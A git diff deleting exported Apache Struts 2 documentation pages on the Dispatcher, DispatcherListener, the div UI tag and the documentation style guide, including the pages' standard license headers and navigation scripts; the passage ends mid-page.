-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Dispatcher</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="dispatcher.html">Dispatcher</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Dispatcher</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=39619951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=39619951">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=39619951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=39619951">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=39619951">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=39619951">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="Dispatcher-Description">Description</h1><p>Dispatcher is the main point of control which dispatch request execution to given actions. It is used by <a shape="rect" href="webxml.html">filters</a> / servlet / listener / portlet to set up and run Struts environment.</p><h2 id="Dispatcher-Errorhandling">Error handling</h2><p>When exception occurs (misconfiguration or some internal error), Dispatcher will pass handling to&#160;<code>DispatcherEr [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/dispatcherlistener.html b/content/docs/dispatcherlistener.html
deleted file mode 100644
index 03a10f8..0000000
--- a/content/docs/dispatcherlistener.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>DispatcherListener</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="dispatcherlistener.html">DispatcherListener</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">DispatcherListener</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27466">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27466">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27466">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27466">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27466">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27466">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Use a DispatcherListener object to execute code when a Dispatcher is initalized or destroyed. A DispatcherListener is an easy way to associate customizable components like a <a shape="rect" href="configuration-provider-configuration.html">ConfigurationManager</a> with a Dispatcher.</p>
-
-<h2 id="DispatcherListener-Example">Example</h2>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-  static {
-     Dispatcher.addDispatcherListener(new DispatcherListener() {
-         public void dispatcherInitialized(Dispatcher du) {
-            // do something to Dispatcher after it is initialized eg.
-            du.setConfigurationManager(....);
-         }
-
-         public void dispatcherDestroyed(Dispatcher du) {
-            // do some cleanup after Dispatcher is destroyed.
-         }
-     });
-  }
-</pre>
-</div></div>
-
-<h2 id="DispatcherListener-Next:">Next: <a shape="rect" href="preresultlistener.html">PreResultListener</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/div.html b/content/docs/div.html
deleted file mode 100644
index 8969e22..0000000
--- a/content/docs/div.html
+++ /dev/null
@@ -1,160 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>div</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="div.html">div</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">div</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13908">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13908">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13908">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13908">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13908">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13908">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="div-Description">Description</h2>
-
-<div class="error"><span class="error">Error formatting macro: snippet: java.lang.IndexOutOfBoundsException: Index: 20, Size: 20</span> </div>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>While this tag can be used with the <a shape="rect" href="simple-theme.html">simple theme</a>, <a shape="rect" href="xhtml-theme.html">xhtml theme</a>, and others, it is really designed to work best with the <a shape="rect" href="ajax-theme.html">ajax theme</a>. We recommend reading the <a shape="rect" href="ajax-div-template.html">ajax div template</a> documentation for more details.</p></div></div>
-
-<h2 id="div-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> true</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rowsp [...]
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/documentation-style-guide.html b/content/docs/documentation-style-guide.html
deleted file mode 100644
index 8e5f43b..0000000
--- a/content/docs/documentation-style-guide.html
+++ /dev/null
@@ -1,475 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Documentation Style Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="documentation-style-guide.html">Documentation Style Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Documentation Style Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14055">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14055">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14055">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14055">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14055">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14055">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>It's well-known that a consistent user interface is easier to use. Consistency helps users focus on the task rather than the user interface. Likewise, a consistent documentation style helps users focus on the information, rather than the formatting.</p>
-
-<p>A related goal is to design the documentation so that it is easy to maintain, so that it tends to remain internally consistent with the framework itself.</p>
-
-<h2 id="DocumentationStyleGuide-Doitnow.Doitonce.Doitwell.">Do it now. Do it once. Do it well.</h2>
-
-<p>Overall, there are three goals for the documentation system.</p>
-<ul><li>Say it all</li><li>Say it once</li><li>Say it well</li></ul>
-
-
-<p>First, we want the documentation to be both complete and concise. This is job one! The documentation should also be a quick but practical introduction to the framework, so newcomers can get started as easily as possible. To keep people coming back, the documentation should also be a repository of the tips and tricks we use in our own applications, so that people can find it here instead of asking over and over again on the list.  </p>
-
-<p>Second, the documentation should be easy to maintain. Ideally, we should cover the detail of each topic once, and draw as much detail from the source code and examples as possible (using the <a shape="rect" href="documentation-style-guide.html">snippet macro</a>).</p>
-
-<p>Third, the documentation should be text-book quality; if not in the first draft, then in the next. Don't hesitate to hack in a new page. Better that we have the page than we don't. (See Job One!) But, as time allows, we should try to make each page the best that it can be. A great many people access the documentation, and it's worth the effort to make the "documentation experience" productive and enjoyable.</p>
-
-<h2 id="DocumentationStyleGuide-Capitalizationofcommonterms">Capitalization of common terms</h2>
-
-<ul><li>Java</li><li>Javadoc</li><li>HTML</li><li>XML</li></ul>
-
-
-<h2 id="DocumentationStyleGuide-GeneralPunctuationandGrammar">General Punctuation and Grammar</h2>
-
-<p>Good online resources for punctuation, grammar, and text style include</p>
-<ul><li><a shape="rect" class="external-link" href="http://lilt.ilstu.edu/golson/punctuation/" rel="nofollow">Punctuation Made Simple</a></li><li><a shape="rect" class="external-link" href="http://www.wwu.edu/depts/journalism/207labmanUL.htm" rel="nofollow">Associated Press Style Guide Essentials</a></li><li><a shape="rect" class="external-link" href="http://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style" rel="nofollow">Wikipedia Manual of Style</a></li></ul>
-
-
-<p>In print, two excellent (and inexpensive!) resources are</p>
-<ul><li><a shape="rect" class="external-link" href="http://www.amazon.com/exec/obidos/tg/detail/-/020530902X/apachesoftwar-20/" rel="nofollow">The Elements of Style</a></li><li><a shape="rect" class="external-link" href="http://www.amazon.com/exec/obidos/tg/detail/-/0465004881/apachesoftwar-20/" rel="nofollow">Associated Press Stylebook</a></li></ul>
-
-
-<p>Also excellent, but more expensive: </p>
-<ul><li><a shape="rect" class="external-link" href="http://www.chicagomanualofstyle.org/" rel="nofollow">Chicago Manual of Style</a></li></ul>
-
-
-<h2 id="DocumentationStyleGuide-QuickTips">Quick Tips</h2>
-
-<ul><li>Use as few words as possible. Instead of "but there are some quirks about it" try "but there are quirks".</li><li>If a list of items includes both a term and an explanation, consider using a table instead of bullets.</li><li>Avoid using "This" by itself. Instead of "This lets us" try "This strategy lets us".
-	<ul><li>Ask yourself: "This what?"</li></ul>
-	</li><li>References to other wiki pages can be unqualified. For example: "See <a shape="rect" href="documentation-style-guide.html">Documentation Style Guide</a>."</li></ul>
-
-
-<h2 id="DocumentationStyleGuide-Don'tbesmurfy!">Don't be smurfy!</h2>
-
-<p>A lot of API members use the term "action". We have</p>
-<ul><li>action extensions on pages,</li><li>action attributes in forms,</li><li>action elements in configuration files, and</li><li>Action Java classes, some of which may implement the</li><li>Action interface.</li></ul>
-
-
-<p>Here are some terms that can be used to help clarify which action is which.</p>
-<ul><li>Use "the framework" or "Struts 2" to refer to the codebase as a whole, including any frameworks we use internally, like XWork and OGNL.</li><li>Use "Action class" or "action handler" to refer to the Java class incorporated by the action element.</li><li>Use "action mapping" to refer to the object created by the action element.</li></ul>
-
-
-<h2 id="DocumentationStyleGuide-PageSaveComment">Page Save Comment</h2>
-
-<p>Try to include a brief description of a change when saving a page. The comments are included in the page's history. The comments are also included on the daily change report. In a group environment, it's important to help each other follow along.</p>
-
-<h2 id="DocumentationStyleGuide-ParentPages">Parent Pages </h2>
-
-<p>Use the Parent Page feature to create a hierarchy of pages. The parent pages are reflected in the "bread crumb" menu. If properly used, parent pages can help browsers "visualize" the documentation as an outline. </p>
-
-<p>The root of the documentation is the "Home" page, which is also the "Welcome" page. The documentation is ordered into three main areas: Tutorials, FAQs, and Guides. Each area has a contents page, whose parent is Home. Other pages within each section can also serve as parents, to help organize the documentation into a coherent outline. </p>
-
-<h2 id="DocumentationStyleGuide-Labels">Labels </h2>
-
-<p>Pages can be cross-indexed with the Label feature. Labels are not be used much yet, except for internal authoring. </p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> FIXME </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> A page that mentions a problem in the distribution that we intend to fix. Review these pages before tagging a distribution to see if the issue has been resolved. </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> TODO </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> A pag [...]
-
-
-<h2 id="DocumentationStyleGuide-ShortcutsLinks">Shortcuts Links</h2>
-
-<p>The Shortcut Link feature should be used for any external reference that may be used elsewhere.<br clear="none">
-Shortcuts being used include </p>
-
